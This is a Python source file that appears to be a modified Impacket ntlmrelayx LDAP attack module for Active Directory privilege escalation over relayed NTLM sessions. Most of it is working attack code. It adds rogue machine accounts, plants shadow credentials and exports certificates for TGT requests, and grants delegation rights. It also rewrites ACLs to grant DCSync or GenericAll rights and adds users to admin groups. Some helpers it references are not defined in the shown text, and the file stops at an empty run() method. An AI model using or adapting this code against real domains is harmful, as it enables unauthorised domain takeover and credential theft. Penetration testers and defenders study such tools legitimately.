# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   LDAP Attack Class
#   LDAP(s) protocol relay attack
#
# Authors:
#   Alberto Solino (@agsolino)
#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
#
import _thread
import random
import string
import json
import datetime
import binascii
import codecs
from enum import Enum
import re
import ldap3
import ldapdomaindump
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
import os
from Cryptodome.Hash import MD4
import logging

from impacket import LOG
from impacket.examples.ldap_shell import LdapShell
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
from impacket.ldap import ldaptypes
from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
from impacket.uuid import string_to_bin, bin_to_string
from impacket.structure import Structure, hexdump

from dsinternals.system.Guid import Guid
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.system.DateTime import DateTime
from dsinternals.common.data.hello.KeyCredential import KeyCredential

from powerview.utils.constants import WELL_KNOWN_SIDS, EXTENDED_RIGHTS_NAME_MAP, EXTENDED_RIGHTS_MAP, SCHEMA_OBJECTS

# This is new from ldap3 v2.5
try:
	from ldap3.protocol.microsoft import security_descriptor_control
except ImportError:
	# We use a print statement because the logger is not initialized yet here
	print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \
Please update with 'python -m pip install ldap3 --upgrade'")
PROTOCOL_ATTACK_CLASS = "LDAPAttack"

# Define global variables to prevent dumping the domain twice
# and to prevent privilege escalating more than once
dumpedDomain = False
dumpedAdcs = False
alreadyEscalated = False
alreadyAddedComputer = False
delegatePerformed = []

#gMSA structure
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
	structure = (
		('Version','<H'),
		('Reserved','<H'),
		('Length','<L'),
		('CurrentPasswordOffset','<H'),
		('PreviousPasswordOffset','<H'),
		('QueryPasswordIntervalOffset','<H'),
		('UnchangedPasswordIntervalOffset','<H'),
		('CurrentPassword',':'),
		('PreviousPassword',':'),
		#('AlignmentPadding',':'),
		('QueryPasswordInterval',':'),
		('UnchangedPasswordInterval',':'),
	)

	def __init__(self, data = None):
		Structure.__init__(self, data = data)

	def fromString(self, data):
		Structure.fromString(self,data)

		if self['PreviousPasswordOffset'] == 0:
			endData = self['QueryPasswordIntervalOffset']
		else:
			endData = self['PreviousPasswordOffset']

		self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
		if self['PreviousPasswordOffset'] != 0:
			self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]

		self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
		self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]

class LDAPAttack(ProtocolAttack):
	"""
	This is the default LDAP attack. It checks the privileges of the relayed account
	and performs a domaindump if the user does not have administrative privileges.
	If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
	"""
	PLUGIN_NAMES = ["LDAP", "LDAPS"]

	# ACL constants
	# When reading, these constants are actually represented by
	# the following for Active Directory specific Access Masks
	# Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
	GENERIC_READ            = 0x00020094
	GENERIC_WRITE           = 0x00020028
	GENERIC_EXECUTE         = 0x00020004
	GENERIC_ALL             = 0x000F01FF

	def __init__(self, config, LDAPClient, username, root_dn, args=None):
		if args:
			self.principalidentity_dn = args.principalidentity_dn
			self.principalidentity_sid = format_sid(args.principalidentity_sid)
			self.targetidentity_dn = args.targetidentity_dn
			#self.targetidentity_sid = format_sid(args.targetidentity_sid)
			self.args = args

		self.rootDN = root_dn
		self.computerName = '' if not config.addcomputer else config.addcomputer[0]
		self.computerPassword = '' if not config.addcomputer or len(config.addcomputer) < 2 else config.addcomputer[1]
		ProtocolAttack.__init__(self, config, LDAPClient, username)
		if self.config.interactive:
			# Launch locally listening interactive shell.
			self.tcp_shell = TcpShell()

	def addComputer(self, parent, domainDumper):
		"""
		Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
		also be an OU or other container where we have write privileges
		"""
		global alreadyAddedComputer
		if alreadyAddedComputer:
			LOG.error('New computer already added. Refusing to add another')
			return False

		if not self.client.tls_started and not self.client.server.ssl:
			LOG.info('Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
			if not self.client.start_tls():
				LOG.error('StartTLS failed')
				return False

		# Get the domain we are in
		domaindn = domainDumper.root
		domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

		computerName = self.computerName
		if not computerName:
			# Random computername
			newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
		else:
			newComputer = computerName if computerName.endswith('$') else computerName + '$'

		computerPassword = self.computerPassword
		if not computerPassword:
			# Random password
			newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
		else:
			newPassword = computerPassword

		computerHostname = newComputer[:-1]
		newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')

		# Default computer SPNs
		spns = [
			'HOST/%s' % computerHostname,
			'HOST/%s.%s' % (computerHostname, domain),
			'RestrictedKrbHost/%s' % computerHostname,
			'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
		]
		ucd = {
			'dnsHostName': '%s.%s' % (computerHostname, domain),
			'userAccountControl': 4096,
			'servicePrincipalName': spns,
			'sAMAccountName': newComputer,
			'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
		}
		LOG.debug('New computer info %s', ucd)
		LOG.info('Attempting to create computer in: %s', parent)
		res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
		if not res:
			# Adding computers requires LDAPS
			if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
				LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
			else:
				LOG.error('Failed to add a new computer: %s' % str(self.client.result))
			return False
		else:
			LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
			alreadyAddedComputer = True
			# Return the SAM name
			return newComputer

	def addUserToGroup(self, userDn, domainDumper, groupDn):
		global alreadyEscalated
		# For display only
		groupName = groupDn.split(',')[0][3:]
		userName = userDn.split(',')[0][3:]
		# Now add the user as a member to this group
		res = self.client.modify(groupDn, {
			'member': [(ldap3.MODIFY_ADD, [userDn])]})
		if res:
			LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
			LOG.info('Privilege escalation succesful, shutting down...')
			alreadyEscalated = True
			_thread.interrupt_main()
		else:
			LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))


	def shadowCredentialsAttack(self, ShadowCredentialsExportType="PFX"):
		LOG.info("Searching for the target account")

		# Get the domain we are in
		domaindn = self.rootDN
		domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

		# Get target computer DN
		self.client.search(self.rootDN, f'(distinguishedName={self.targetidentity_dn})', attributes=['objectSid','sAMAccountName'])
		result = self.client.entries
		#result = self.getUserInfo(self.targetidentity_dn)
		if len(result) == 0:
			LOG.error('Target account does not exist! (wrong domain?)')
			return
		else:
			target_dn = result[0].entry_dn
			target_sid = result[0]['objectSid'].values[0]
			LOG.info("Target user found: %s" % target_dn)

		LOG.info("Generating certificate")
		certificate = X509Certificate2(subject=target_sid, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
		LOG.info("Certificate generated")
		LOG.info("Generating KeyCredential")
		keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime())
		LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
		LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
		self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
		results = None
		for entry in self.client.response:
			if entry['type'] != 'searchResEntry':
				continue
			results = entry
		if not results:
			LOG.error('Could not query target user properties')
			return
		try:
			new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
			LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.targetidentity_dn)
			self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
			if self.client.result['result'] == 0:
				LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object")
				path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
				LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path)
				if ShadowCredentialsExportType == "PEM":
					certificate.ExportPEM(path_to_files=path)
					LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem")
					LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem")
					LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
					LOG.info("Run the following command to obtain a TGT")
					LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, self.targetidentity_dn, path))
				elif ShadowCredentialsExportType == "PFX":
					password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
					LOG.debug("The certificate will be store with the password: %s" % password)
					certificate.ExportPFX(password=password, path_to_file=path)
					LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx")
					LOG.info("Must be used with password: %s" % password)
					LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
					LOG.info("Run the following command to obtain a TGT")
					LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, self.targetidentity_dn, path))
			else:
				if self.client.result['result'] == 50:
					LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])
				elif self.client.result['result'] == 19:
					LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])
				else:
					LOG.error('The server returned an error: %s' % self.client.result['message'])
		except IndexError:
			LOG.info('Attribute msDS-KeyCredentialLink does not exist')
		return

	def delegateAttack(self):
		self.client.search(self.targetidentity_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
		target_entries = self.client.entries
		targetuser = None
		for entry in self.client.response:
			if entry['type'] != 'searchResEntry':
				continue
			targetuser = entry
		if not targetuser:
			LOG.error('Could not query target user properties')
			return
		try:
			sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
			LOG.debug('Currently allowed sids:')
			for ace in sd['Dacl'].aces:
				LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
		except IndexError:
			# Create DACL manually
			sd = create_empty_sd()
		sd['Dacl'].aces.append(create_allow_ace(self.principalidentity_sid))
		self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
		if self.client.result['result'] == 0:
			LOG.info('Delegation rights modified succesfully!')
			LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.principalidentity_dn, target_entries[0]['sAMAccountName'].values[0])
			return True
		else:
			if self.client.result['result'] == 50:
				LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
			elif self.client.result['result'] == 19:
				LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
			else:
				LOG.error('The server returned an error: %s', self.client.result['message'])
			return False

	def dacl_remove_ace(self,secdesc, guid, usersid, accesstype):
		to_remove = None
		binguid = string_to_bin(guid)
		for ace in secdesc['Dacl'].aces:
			sid = ace['Ace']['Sid'].formatCanonical()
			# Is it the correct ACE type?
			if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE:
				continue
			# Is it the correct SID?
			if sid != usersid:
				continue
			# Does it apply to the correct property?
			if ace['Ace']['ObjectType'] != binguid:
				continue
			# Does it have the correct mask?
			if ace['Ace']['Mask']['Mask'] != accesstype:
				continue
			# We are still here -> this is the correct ACE
			to_remove = ace
			break

		if to_remove:
			# Found! Remove
			secdesc['Dacl'].aces.remove(to_remove)
			return True
		else:
			# Not found
			return False

	def aclAttack(self):
		rights = {
				'dcsync':[EXTENDED_RIGHTS_NAME_MAP['DS-Replication-Get-Changes'], EXTENDED_RIGHTS_NAME_MAP['DS-Replication-Get-Changes-All']],
				#'all':[EXTENDED_RIGHTS_NAME_MAP['DS-Replication-Get-Changes'],EXTENDED_RIGHTS_NAME_MAP['DS-Replication-Get-Changes-All'], EXTENDED_RIGHTS_NAME_MAP['User-Force-Change-Password'], EXTENDED_RIGHTS_NAME_MAP['Self-Membership']],
				'all':[SIMPLE_PERMISSIONS.FullControl.value],
				'resetpassword':[EXTENDED_RIGHTS_NAME_MAP['User-Force-Change-Password']],
				'writemembers':[EXTENDED_RIGHTS_NAME_MAP['Self-Membership']]
			}

		# Query for the sid of our user
		try:
			self.client.search(self.principalidentity_dn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
			entry = self.client.entries[0]
		except IndexError:
			LOG.error('Could not retrieve infos for user: %s' % self.principalidentity_dn)
			return
		username = entry['sAMAccountName'].value
		usersid = entry['objectSid'].value
		LOG.debug('Found sid for user %s: %s' % (username, usersid))

		# Set SD flags to only query for DACL
		controls = security_descriptor_control(sdflags=0x04)
		alreadyEscalated = True

		#LOG.info('Querying domain security descriptor')
		self.client.search(self.rootDN, f'(distinguishedName={self.targetidentity_dn})', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

		#if len(self.client.entries) == 0:
		#    LOG.error(f'{self.args.targetidentity} not found in domain. Ensure to use valid object distinguishedName property')
		#    return
		
		entry = self.client.entries[0]
		secDescData = entry['nTSecurityDescriptor'].raw_values[0]
		secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

		if not self.args.delete:
			aceflags = 0x00
			if hasattr(self.args, "inheritance") and self.args.inheritance:
				LOG.debug('Inheritance is set. Adding CONTAINER_INHERIT_ACE, OBJECT_INFERIT_ACE')
				aceflags = ACE.CONTAINER_INHERIT_ACE + ACE.OBJECT_INHERIT_ACE
		
			if self.args.rights.lower() in list(rights.keys()):
				if self.args.rights.lower() == "all":
					secDesc['Dacl']['Data'].append(create_ace(SIMPLE_PERMISSIONS.FullControl.value, usersid, aceflags))
				else:
					for guid in rights[self.args.rights.lower()]:
						secDesc['Dacl']['Data'].append(create_object_ace(guid, usersid, aceflags))
			else:
				LOG.error(f'{self.args.rights} right is not valid')
				return
		else:
			#accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
			accesstype = 983551
			for guid in rights[self.args.rights]:
				if not self.dacl_remove_ace(secDesc, guid, usersid, accesstype):
					LOG.error(f'ACE not found in {self.args.targetidentity}')
					return

		dn = entry.entry_dn
		data = secDesc.getData()
		self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
		if self.client.result['result'] == 0:
			if not self.args.delete:
				if self.args.rights == 'dcsync':
					LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
				elif self.args.rights == 'writemembers':
					LOG.info('Success! User %s now has "Add/Remove Self as Member" privileges on %s', username, self.args.targetidentity)
				elif self.args.rights == 'resetpassword':
					LOG.info('Success! User %s now has Reset Password privileges on %s', username, self.args.targetidentity)
				elif self.args.rights == 'all':
					LOG.info('Success! User %s now has GenericAll privileges on %s', username, self.args.targetidentity)
			else:
				if self.args.rights == 'dcsync':
					LOG.info('Success! Replication-Get-Changes-All privileges restored for %s', username)
				elif self.args.rights == 'writemembers':
					LOG.info('Success! GenericWrite privileges restored for %s', username)
				elif self.args.rights == 'resetpassword':
					LOG.info('Success! Reset Password privileges restored for %s', username)
				elif self.args.rights == 'all':
					LOG.info('Success! GenericAll privileges restored for %s', username)


			# Query the SD again to see what AD made of it
			self.client.search(self.rootDN, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
			entry = self.client.entries[0]
			newSD = entry['nTSecurityDescriptor'].raw_values[0]
			return True
		else:
			LOG.error('Error when updating ACL: %s' % self.client.result)
			return False

	def validatePrivileges(self, uname, domainDumper):
		# Find the user's DN
		membersids = []
		sidmapping = {}
		privs = {
			'create': False, # Whether we can create users
			'createIn': None, # Where we can create users
			'escalateViaGroup': False, # Whether we can escalate via a group
			'escalateGroup': None, # The group we can escalate via
			'aclEscalate': False, # Whether we can escalate via ACL on the domain object
			'aclEscalateIn': None # The object which ACL we can edit
		}
		self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
		user = self.client.entries[0]
		usersid = user['objectSid'].value
		sidmapping[usersid] = user.entry_dn
		membersids.append(usersid)
		# The groups the user is a member of
		self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
		LOG.debug('User is a member of: %s' % self.client.entries)
		for entry in self.client.entries:
			sidmapping[entry['objectSid'].value] = entry.entry_dn
			membersids.append(entry['objectSid'].value)
		# Also search by primarygroupid
		# First get domain SID
		self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
		domainsid = self.client.entries[0]['objectSid'].value
		gid = user['primaryGroupId'].value
		# Now search for this group by SID
		self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
		group = self.client.entries[0]
		LOG.debug('User is a member of: %s' % self.client.entries)
		# Add the group sid of the primary group to the list
		sidmapping[group['objectSid'].value] = group.entry_dn
		membersids.append(group['objectSid'].value)
		controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
		# Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
		entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
		self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
		# Also get the privileges on the default Users container
		entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
		self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

		# Interesting groups we'd like to be a member of, in order of preference
		interestingGroups = [
			'%s-%d' % (domainsid, 519), # Enterprise admins
			'%s-%d' % (domainsid, 512), # Domain admins
			'S-1-5-32-544', # Built-in Administrators
			'S-1-5-32-551', # Backup operators
			'S-1-5-32-548', # Account operators
		]
		privs['escalateViaGroup'] = False
		for group in interestingGroups:
			self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
			groupdata = self.client.response
			self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
			if privs['escalateViaGroup']:
				# We have a result - exit the loop
				break
		return (usersid, privs)

	def getUserInfo(self, samname):
		entries = self.client.search(self.rootDN, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
		try:
			dn = self.client.entries[0].entry_dn
			sid = format_sid(self.client.entries[0]['objectSid'])
			return (dn, sid)
		except IndexError:
			LOG.error('User not found in LDAP: %s' % samname)
			return False

	def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
		standardrights = [
			self.GENERIC_ALL,
			self.GENERIC_WRITE,
			self.GENERIC_READ,
			ACCESS_MASK.WRITE_DACL
		]
		for entry in entries:
			if entry['type'] != 'searchResEntry':
				continue
			dn = entry['dn']
			try:
				sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
			except IndexError:
				# We don't have the privileges to read this security descriptor
				LOG.debug('Access to security descriptor was denied for DN %s', dn)
				continue
			hasFullControl = False
			secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
			secDesc.fromString(sdData)
			if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
				sid = secDesc['OwnerSid'].formatCanonical()
				LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
				hasFullControl = True
			# Iterate over all the ACEs
			for ace in secDesc['Dacl'].aces:
				sid = ace['Ace']['Sid'].formatCanonical()
				if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
					continue
				if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
					# ACE is set on this object, but only inherited, so not applicable to us
					continue

				# Check if the ACE has restrictions on object type (inherited case)
				if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
					and ace.hasFlag(ACE.INHERITED_ACE) \
					and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
					# Verify if the ACE applies to this object type
					inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
					if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):
						continue
				# Check for non-extended rights that may not apply to us
				if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
					# Check if this applies to our objecttype
					if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE  and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
						objectType = bin_to_string(ace['Ace']['ObjectType']).lower()
						if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):
							# LOG.debug('ACE does not apply, only to %s', objectType)
							continue
				if sid in membersids:
					# Generic all
					if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
						LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))
						hasFullControl = True
					if can_create_users(ace) or hasFullControl:
						if not hasFullControl:
							LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
						if dn == 'CN=Users,%s' % domainDumper.root:
							# We can create users in the default container, this is preferred
							privs['create'] = True
							privs['createIn'] = dn
						else:
							# Could be a different OU where we have access
							# store it until we find a better place
							if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:
								privs['create'] = True
								privs['createIn'] = dn
					if can_add_member(ace) or hasFullControl:
						if b'group' in entry['raw_attributes']['objectClass']:
							# We can add members to a group
							if not hasFullControl:
								LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
							privs['escalateViaGroup'] = True
							privs['escalateGroup'] = dn
					if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
						# Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
						# a property, which is both weird and useless, so we skip it
						if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
							and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
							# LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
							continue
						if not hasFullControl:
							LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
						# We can modify the domain Dacl
						if b'domain' in entry['raw_attributes']['objectClass']:
							privs['aclEscalate'] = True
							privs['aclEscalateIn'] = dn

	@staticmethod
	def aceApplies(ace_guid, object_class):
		'''
		Checks if an ACE applies to this object (based on object classes).
		Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
		If this is not set, the ACE applies to all object types.
		'''
		try:
			our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
		except KeyError:
			return False
		if ace_guid == our_ace_guid:
			return True
		# If none of these match, the ACE does not apply to this object
		return False

	def dumpADCS(self):

		def is_template_for_authentification(entry):
			authentication_ekus = [b"1.3.6.1.5.5.7.3.2", b"1.3.6.1.5.2.3.4", b"1.3.6.1.4.1.311.20.2.2", b"2.5.29.37.0"]

			# Ignore templates requiring manager approval
			if entry["attributes"]["msPKI-Enrollment-Flag"] & 0x02:
				return False

			# No EKU = works for client authentication
			if not len(entry["raw_attributes"]["pKIExtendedKeyUsage"]):
				return True

			try:
				next((eku for eku in entry["raw_attributes"]["pKIExtendedKeyUsage"] if eku in authentication_ekus))
				return True
			except StopIteration:
				return False

		def get_enrollment_principals(entry):
			# Mostly taken from github.com/ly4k/Certipy/certipy/security.py
			sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
			sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0])

			enrollment_uuids = [
				"00000000-0000-0000-0000-000000000000", # All-Extended-Rights
				"0e10c968-78fb-11d2-90d4-00c04f79dc55", # Certificate-Enrollment
				"a05b8cc2-17bc-4802-a710-e7c15ab866a2", # Certificate-AutoEnrollment
			]

			enrollment_principals = set()

			for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
				sid = format_sid(ace["Ace"]["Sid"].getData())
				if ace["Ace"]["ObjectTypeLen"] == 0:
					uuid = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
				else:
					uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()

				if not uuid in enrollment_uuids:
					continue

				enrollment_principals.add(sid)

			return enrollment_principals

		def translate_sids(sids):
			default_naming_context = self.client.server.info.other["defaultNamingContext"][0]
			try:
				domain_fqdn = self.client.server.info.other["ldapServiceName"][0].split("@")[1]
			except (KeyError, IndexError):
				domain_fqdn = ""

			sid_map = dict()

			for sid in sids:
				try:
					if sid.startswith("S-1-5-21-"):
						self.client.search(default_naming_context, "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid,
									attributes=["name", "objectSid"], search_scope=ldap3.SUBTREE)
					else:
						self.client.search("CN=WellKnown Security Principals," + configuration_naming_context,
									"(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))" % sid, attributes=["name", "objectSid"],
									search_scope=ldap3.LEVEL)
				except:
					sid_map[sid] = sid
					continue

				if not len(self.client.response):
					sid_map[sid] = sid
				else:
					sid_map[sid] = domain_fqdn + "\\" + self.client.response[0]["attributes"]["name"]

			return sid_map


		LOG.info("Attempting to dump ADCS enrollment services info")

		configuration_naming_context = self.client.server.info.other['configurationNamingContext'][0]

		enrollment_service_attributes = ["certificateTemplates", "displayName", "dNSHostName", "msPKI-Enrollment-Servers", "nTSecurityDescriptor"]
		self.client.search("CN=Enrollment Services,CN=Public Key Services,CN=Services," + configuration_naming_context,
						   "(objectClass=pKIEnrollmentService)", search_scope=ldap3.LEVEL, attributes=enrollment_service_attributes,
						   controls=security_descriptor_control(sdflags=0x04))

		if not len(self.client.response):
			LOG.info("No ADCS enrollment service found")
			return

		offered_templates = set()
		sid_map = dict()
		for entry in self.client.response:
			LOG.info("Found ADCS enrollment service `%s` on host `%s`, offering templates: %s" % (entry["attributes"]["displayName"],
					 entry["attributes"]["dNSHostName"], ", ".join(("`" + tpl + "`" for tpl in entry["attributes"]["certificateTemplates"]))))

			offered_templates.update(entry["attributes"]["certificateTemplates"])
			enrollment_principals = get_enrollment_principals(entry)

			known_sids = set(sid_map.keys())
			unknwown_sids = enrollment_principals.difference(known_sids)
			sid_map.update(translate_sids(unknwown_sids))

			LOG.info("Principals who can enroll on enrollment service `%s`: %s" % (entry["attributes"]["displayName"],
					 ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))

		if not len(offered_templates):
			LOG.info("No templates offered by the enrollment services")
			return

		LOG.info("Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval")

		certificate_template_attributes = ["msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor", "pKIExtendedKeyUsage"]
		self.client.search("CN=Certificate Templates,CN=Public Key Services,CN=Services," + configuration_naming_context,
						   "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(("(name=" + escape_filter_chars(tpl) + ")" for tpl in offered_templates)),
						   search_scope=ldap3.LEVEL, attributes=certificate_template_attributes,
						   controls=security_descriptor_control(sdflags=0x04))

		for entry in (e for e in self.client.response if is_template_for_authentification(e)):
			enrollment_principals = get_enrollment_principals(entry)

			known_sids = set(sid_map.keys())
			unknwown_sids = enrollment_principals.difference(known_sids)
			sid_map.update(translate_sids(unknwown_sids))

			LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"],
					 ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))


	def run(self):
		#self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
